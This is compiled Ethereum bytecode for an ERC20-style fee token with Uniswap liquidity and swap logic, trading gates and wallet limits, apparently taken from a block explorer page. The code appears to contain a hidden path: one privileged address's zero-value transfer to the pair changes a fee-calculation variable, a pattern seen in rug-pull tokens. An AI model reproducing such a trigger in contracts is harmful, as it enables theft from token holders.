a65726f000000000000815250613225565b905092915050565b5f600267ffffffffffffffff811115612ed757612ed6613eb4565b5b604051908082528060200260200182016040528015612f055781602001602082028036833780820191505090505b50905030815f81518110612f1c57612f1b613ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612fe491906136f5565b81600181518110612ff857612ff7613ee1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061305e30601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bad565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f8430426040518663ffffffff1660e01b81526004016130c0959493929190613fc5565b5f604051808303815f87803b1580156130d7575f80fd5b505af11580156130e9573d5f803e3d5ffd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161311e92919061401d565b60405180910390a15050565b61315630601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bad565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230855f80600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016131dd96959493929190613780565b60606040518083038185885af11580156131f9573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061321e91906137f3565b5050505050565b5f808311829061326b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132629190613310565b60405180910390fd5b505f83856132799190613df6565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156132bd5780820151818401526020810190506132a2565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6132e282613286565b6132ec8185613290565b93506132fc8185602086016132a0565b613305816132c8565b840191505092915050565b5f6020820190508181035f83015261332881846132d8565b905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61335982613330565b9050919050565b6133698161334f565b82525050565b5f6020820190506133825f830184613360565b92915050565b5f80fd5b6133958161334f565b811461339f575f80fd5b50565b5f813590506133b08161338c565b92915050565b5f819050919050565b6133c8816133b6565b81146133d2575f80fd5b50565b5f813590506133e3816133bf565b92915050565b5f80604083850312156133ff576133fe613388565b5b5f61340c858286016133a2565b925050602061341d858286016133d5565b9150509250929050565b5f8115159050919050565b61343b81613427565b82525050565b5f6020820190506134545f830184613432565b92915050565b5f819050919050565b5f61347d61347861347384613330565b61345a565b613330565b9050919050565b5f61348e82613463565b9050919050565b5f61349f82613484565b9050919050565b6134af81613495565b82525050565b5f6020820190506134c85f8301846134a6565b92915050565b6134d7816133b6565b82525050565b5f6020820190506134f05f8301846134ce565b92915050565b5f805f6060848603121561350d5761350c613388565b5b5f61351a868287016133a2565b935050602061352b868287016133a2565b925050604061353c868287016133d5565b9150509250925092565b5f61355082613330565b9050919050565b61356081613546565b82525050565b5f6020820190506135795f830184613557565b92915050565b5f60ff82169050919050565b6135948161357f565b82525050565b5f6020820190506135ad5f83018461358b565b92915050565b5f602082840312156135c8576135c7613388565b5b5f6135d5848285016133a2565b91505092915050565b5f80604083850312156135f4576135f3613388565b5b5f613601858286016133a2565b9250506020613612858286016133a2565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061366057607f821691505b6020821081036136735761367261361c565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6136ad602083613290565b91506136b882613679565b602082019050919050565b5f6020820190508181035f8301526136da816136a1565b9050919050565b5f815190506136ef8161338c565b92915050565b5f6020828403121561370a57613709613388565b5b5f613717848285016136e1565b91505092915050565b5f6040820190506137335f830185613360565b6137406020830184613360565b9392505050565b5f819050919050565b5f61376a61376561376084613747565b61345a565b6133b6565b9050919050565b61377a81613750565b82525050565b5f60c0820190506137935f830189613360565b6137a060208301886134ce565b6137ad6040830187613771565b6137ba6060830186613771565b6137c76080830185613360565b6137d460a08301846134ce565b979650505050505050565b5f815190506137ed816133bf565b92915050565b5f805f6060848603121561380a57613809613388565b5b5f613817868287016137df565b9350506020613828868287016137df565b9250506040613839868287016137df565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f61389d602683613290565b91506138a882613843565b604082019050919050565b5f6020820190508181035f8301526138ca81613891565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61392b602483613290565b9150613936826138d1565b604082019050919050565b5f6020820190508181035f8301526139588161391f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6139b9602283613290565b91506139c48261395f565b604082019050919050565b5f6020820190508181035f8301526139e6816139ad565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f613a47602583613290565b9150613a52826139ed565b604082019050919050565b5f6020820190508181035f830152613a7481613a3b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f613ad5602383613290565b9150613ae082613a7b565b604082019050919050565b5f6020820190508181035f830152613b0281613ac9565b9050919050565b7f54726164696e67206e6f7420656e61626c6564000000000000000000000000005f82015250565b5f613b3d601383613290565b9150613b4882613b09565b602082019050919050565b5f6020820190508181035f830152613b6a81613b31565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178545f8201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b5f613bcb602883613290565b9150613bd682613b71565b604082019050919050565b5f6020820190508181035f830152613bf881613bbf565b9050919050565b7f416d6f756e74204578636565642046726f6d204d61782057616c6c6574204c695f8201527f6d69742121000000000000000000000000000000000000000000000000000000602082015250565b5f613c59602583613290565b9150613c6482613bff565b604082019050919050565b5f6020820190508181035f830152613c8681613c4d565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f613cc4826133b6565b9150613ccf836133b6565b9250828203905081811115613ce757613ce6613c8d565b5b92915050565b5f613cf7826133b6565b9150613d02836133b6565b9250828201905080821115613d1a57613d19613c8d565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f613d54601b83613290565b9150613d5f82613d20565b602082019050919050565b5f6020820190508181035f830152613d8181613d48565b9050919050565b5f613d92826133b6565b9150613d9d836133b6565b9250828202613dab816133b6565b91508282048414831517613dc257613dc1613c8d565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613e00826133b6565b9150613e0b836133b6565b925082613e1b57613e1a613dc9565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f613e80602183613290565b9150613e8b82613e26565b604082019050919050565b5f6020820190508181035f830152613ead81613e74565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b613f408161334f565b82525050565b5f613f518383613f37565b60208301905092915050565b5f602082019050919050565b5f613f7382613f0e565b613f7d8185613f18565b9350613f8883613f28565b805f5b83811015613fb8578151613f9f8882613f46565b9750613faa83613f5d565b925050600181019050613f8b565b5085935050505092915050565b5f60a082019050613fd85f8301886134ce565b613fe56020830187613771565b8181036040830152613ff78186613f69565b90506140066060830185613360565b61401360808301846134ce565b9695505050505050565b5f6040820190506140305f8301856134ce565b81810360208301526140428184613f69565b9050939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f85eae9eead3ee1d0fdaa0f7d0fa9714053270759a61853bfbbc60c7b815c33e64736f6c63430008140033
Deployed Bytecode
0x608060405260043610610280575f3560e01c80637d1db4a51161014e578063a9059cbb116100c0578063dd62ed3e11610079578063dd62ed3e14610961578063f0cd1dac1461099d578063f2fde38b146109c7578063f680f799146109ef578063f872858a14610a19578063fb45af2314610a4357610287565b8063a9059cbb14610873578063b9cbac9c146108af578063c5d24189146108b9578063c8607952146108e3578063da00097d1461090d578063dc44b6a01461093757610287565b80638da5cb5b116101125780638da5cb5b1461076557806395d89b411461078f57806398e944c8146107b9578063a457c2d7146107e3578063a7251ef61461081f578063a8b089821461084957610287565b80637d1db4a51461068157806382eefb43146106ab57806385261485146106d557806388790a68146106ff5780638b42507f1461072957610287565b8063313ce567116101f2578063531b13fc116101ab578063531b13fc14610589578063600f6db4146105c55780636c0a24eb146105ef57806370a0823114610619578063715018a614610655578063751039fc1461066b57610287565b8063313ce5671461046957806339509351146104935780633ecad271146104cf5780634a74bb021461050b5780634ada218b146105355780635194f9bf1461055f57610287565b806323555d571161024457806323555d571461036f57806323b872dd1461039957806327c8f835146103d55780632b112e49146103ff5780632c28f579146104295780632c572c211461043f57610287565b806306fdde031461028b5780630930907b146102b5578063095ea7b3146102df5780631694505e1461031b57806318160ddd1461034557610287565b3661028757005b5f80fd5b348015610296575f80fd5b5061029f610a7f565b6040516102ac9190613310565b60405180910390f35b3480156102c0575f80fd5b506102c9610b0f565b6040516102d6919061336f565b60405180910390f35b3480156102ea575f80fd5b50610305600480360381019061030091906133e9565b610b33565b6040516103129190613441565b60405180910390f35b348015610326575f80fd5b5061032f610b50565b60405161033c91906134b5565b60405180910390f35b348015610350575f80fd5b50610359610b75565b60405161036691906134dd565b60405180910390f35b34801561037a575f80fd5b50610383610b7e565b60405161039091906134dd565b60405180910390f35b3480156103a4575f80fd5b506103bf60048036038101906103ba91906134f6565b610b84565b6040516103cc9190613441565b60405180910390f35b3480156103e0575f80fd5b506103e9610c59565b6040516103f6919061336f565b60405180910390f35b34801561040a575f80fd5b50610413610c7d565b60405161042091906134dd565b60405180910390f35b348015610434575f80fd5b5061043d610cfa565b005b34801561044a575f80fd5b50610453610daa565b6040516104609190613566565b60405180910390f35b348015610474575f80fd5b5061047d610dcf565b60405161048a919061359a565b60405180910390f35b34801561049e575f80fd5b506104b960048036038101906104b491906133e9565b610de4565b6040516104c69190613441565b60405180910390f35b3480156104da575f80fd5b506104f560048036038101906104f091906135b3565b610e92565b6040516105029190613441565b60405180910390f35b348015610516575f80fd5b5061051f610eaf565b60405161052c9190613441565b60405180910390f35b348015610540575f80fd5b50610549610ec2565b6040516105569190613441565b60405180910390f35b34801561056a575f80fd5b50610573610ed4565b60405161058091906134dd565b60405180910390f35b348015610594575f80fd5b506105af60048036038101906105aa91906135b3565b610eda565b6040516105bc9190613441565b60405180910390f35b3480156105d0575f80fd5b506105d9610ef7565b6040516105e69190613566565b60405180910390f35b3480156105fa575f80fd5b50610603610f1c565b60405161061091906134dd565b60405180910390f35b348015610624575f80fd5b5061063f600480360381019061063a91906135b3565b610f22565b60405161064c91906134dd565b60405180910390f35b348015610660575f80fd5b50610669610f68565b005b348015610676575f80fd5b5061067f6110ba565b005b34801561068c575f80fd5b50610695611162565b6040516106a291906134dd565b60405180910390f35b3480156106b6575f80fd5b506106bf611168565b6040516106cc91906134dd565b60405180910390f35b3480156106e0575f80fd5b506106e961116e565b6040516106f69190613441565b60405180910390f35b34801561070a575f80fd5b50610713611181565b60405161072091906134dd565b60405180910390f35b348015610734575f80fd5b5061074f600480360381019061074a91906135b3565b611187565b60405161075c9190613441565b60405180910390f35b348015610770575f80fd5b506107796111a4565b604051610786919061336f565b60405180910390f35b34801561079a575f80fd5b506107a36111cb565b6040516107b09190613310565b60405180910390f35b3480156107c4575f80fd5b506107cd61125b565b6040516107da919061336f565b60405180910390f35b3480156107ee575f80fd5b50610809600480360381019061080491906133e9565b611281565b6040516108169190613441565b60405180910390f35b34801561082a575f80fd5b50610833611349565b60405161084091906134dd565b60405180910390f35b348015610854575f80fd5b5061085d61134f565b60405161086a919061336f565b60405180910390f35b34801561087e575f80fd5b50610899600480360381019061089491906133e9565b611374565b6040516108a69190613441565b60405180910390f35b6108b7611392565b005b3480156108c4575f80fd5b506108cd611906565b6040516108da91906134dd565b60405180910390f35b3480156108ee575f80fd5b506108f761190c565b60405161090491906134dd565b60405180910390f35b348015610918575f80fd5b50610921611912565b60405161092e9190613441565b60405180910390f35b348015610942575f80fd5b5061094b611925565b60405161095891906134dd565b60405180910390f35b34801561096c575f80fd5b50610987600480360381019061098291906135de565b61192b565b60405161099491906134dd565b60405180910390f35b3480156109a8575f80fd5b506109b16119ad565b6040516109be91906134dd565b60405180910390f35b3480156109d2575f80fd5b506109ed60048036038101906109e891906135b3565b6119b3565b005b3480156109fa575f80fd5b50610a03611b70565b604051610a1091906134dd565b60405180910390f35b348015610a24575f80fd5b50610a2d611b76565b604051610a3a9190613441565b60405180910390f35b348015610a4e575f80fd5b50610a696004803603810190610a6491906135b3565b611b89565b604051610a769190613441565b60405180910390f35b606060018054610a8e90613649565b80601f0160208091040260200160405190810160405280929190818152602001828054610aba90613649565b8015610b055780601f10610adc57610100808354040283529160200191610b05565b820191905f5260205f20905b815481529060010190602001808311610ae857829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b5f610b46610b3f611ba6565b8484611bad565b6001905092915050565b601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f601654905090565b600f5481565b5f610b90848484611d70565b50610c4e84610b9d611ba6565b610c498560405180606001604052806028815260200161404c6028913960075f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f610c00611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b5f610cf5610caa7f0000000000000000000000000000000000000000000000000000000000000000610f22565b610ce7610cd67f000000000000000000000000000000000000000000000000000000000000dead610f22565b60165461257790919063ffffffff16565b61257790919063ffffffff16565b905090565b610d02611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d85906136c3565b60405180910390fd5b600160085f6101000a81548160ff021916908315150217905550565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f9054906101000a900460ff16905090565b5f610e88610df0611ba6565b84610e838560075f610e00611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b611bad565b6001905092915050565b600a602052805f5260405f205f915054906101000a900460ff1681565b601b60159054906101000a900460ff1681565b60085f9054906101000a900460ff1681565b60125481565b6009602052805f5260405f205f915054906101000a900460ff1681565b60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60195481565b5f60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f70611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ffc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff3906136c3565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead5f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6110c2611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461114e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611145906136c3565b60405180910390fd5b601654601881905550601654601981905550565b60185481565b60155481565b601b60189054906101000a900460ff1681565b60105481565b600c602052805f5260405f205f915054906101000a900460ff1681565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600280546111da90613649565b80601f016020809104026020016040519081016040528092919081815260200182805461120690613649565b80156112515780601f1061122857610100808354040283529160200191611251565b820191905f5260205f20905b81548152906001019060200180831161123457829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f61133f61128d611ba6565b8461133a856040518060600160405280602581526020016140746025913960075f6112b6611ba6565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b611bad565b6001905092915050565b60175481565b601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f611387611380611ba6565b8484611d70565b506001905092915050565b61139a611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611426576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161141d906136c3565b60405180910390fd5b5f737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611487573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114ab91906136f5565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611510573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061153491906136f5565b6040518363ffffffff1660e01b8152600401611551929190613720565b6020604051808303815f875af115801561156d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061159191906136f5565b601b5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f1960075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600a5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506001600c5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601a5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061189a30610f22565b5f8033426040518863ffffffff1660e01b81526004016118bf96959493929190613780565b60606040518083038185885af11580156118db573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061190091906137f3565b50505050565b600e5481565b60115481565b601b60169054906101000a900460ff1681565b600d5481565b5f60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60145481565b6119bb611ba6565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3e906136c3565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603611ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aac906138b3565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60135481565b601b60179054906101000a900460ff1681565b600b602052805f5260405f205f915054906101000a900460ff1681565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c1290613941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611c89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c80906139cf565b60405180910390fd5b8060075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611d6391906134dd565b60405180910390a3505050565b5f8073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611ddf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd690613a5d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e4490613aeb565b60405180910390fd5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611eeb575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611f3f5760085f9054906101000a900460ff16611f3e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f3590613b53565b60405180910390fd5b5b60095f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680611fda575060095f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b1561200757612000848484611fef888861261d565b611ff95785611ffb565b5f5b61273e565b905061250e565b600c5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156120a55750600c5f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156120bd5750601b60189054906101000a900460ff165b1561210857601854821115612107576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120fe90613be1565b60405180910390fd5b5b5f61211230610f22565b90505f60175482101590508080156121375750601b60149054906101000a900460ff16155b801561218a5750600a5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b80156121a25750601b60159054906101000a900460ff165b156121cc57601b60169054906101000a900460ff16156121c25760175491505b6121cb8261291a565b5b612253846040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f60095f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1680612330575060095f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6123445761233f878787612be1565b612346565b845b9050601b60179054906101000a900460ff1680156123ab5750600b5f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15612410576019546123ce826123c089610f22565b6125c090919063ffffffff16565b111561240f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161240690613c6f565b60405180910390fd5b5b6124608160065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124fe91906134dd565b60405180910390a3600193505050505b9392505050565b5f83831115829061255c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125539190613310565b60405180910390fd5b505f838561256a9190613cba565b9050809150509392505050565b5f6125b883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612515565b905092915050565b5f8082846125ce9190613ced565b905083811015612613576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260a90613d6a565b60405180910390fd5b8091505092915050565b5f601b5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156126c6575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80156126fe57505f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561273657505f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b905092915050565b5f6127c6826040518060400160405280601481526020017f496e73756666696369656e742042616c616e636500000000000000000000000081525060065f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125159092919063ffffffff16565b60065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506128578360065f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546125c090919063ffffffff16565b60065f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f82036128a9576103e86013819055505b8373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161290691906134dd565b60405180910390a360019050949350505050565b6001601b60146101000a81548160ff0219169083151502179055505f61294d6015546014546125c090919063ffffffff16565b90505f612967601054600d546125c090919063ffffffff16565b90505f612981601154600e546125c090919063ffffffff16565b90505f6129bc60026129ae866129a0878a612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f6129d2828761257790919063ffffffff16565b90505f4790506129e182612ebb565b5f6129f5824761257790919063ffffffff16565b90505f612a1e612a0f600289612e7290919063ffffffff16565b8961257790919063ffffffff16565b90505f612a596002612a4b84612a3d8c88612dfb90919063ffffffff16565b612e7290919063ffffffff16565b612e7290919063ffffffff16565b90505f612a9583612a87612a786013548c612dfb90919063ffffffff16565b87612dfb90919063ffffffff16565b612e7290919063ffffffff16565b90505f612abd82612aaf858861257790919063ffffffff16565b61257790919063ffffffff16565b90505f821115612b2d5760045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8390811502906040515f60405180830381858888f19350505050158015612b2b573d5f803e3d5ffd5b505b5f811115612b9b5760055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f19350505050158015612b99573d5f803e3d5ffd5b505b5f83118015612ba957505f88115b15612bb957612bb8888461312a565b5b50505050505050505050505f601b60146101000a81548160ff02191690831515021790555050565b5f805f9050600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612c6457612c5d6064612c4f60145486612dfb90919063ffffffff16565b612e7290919063ffffffff16565b9050612cdf565b600a5f8573ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffffffff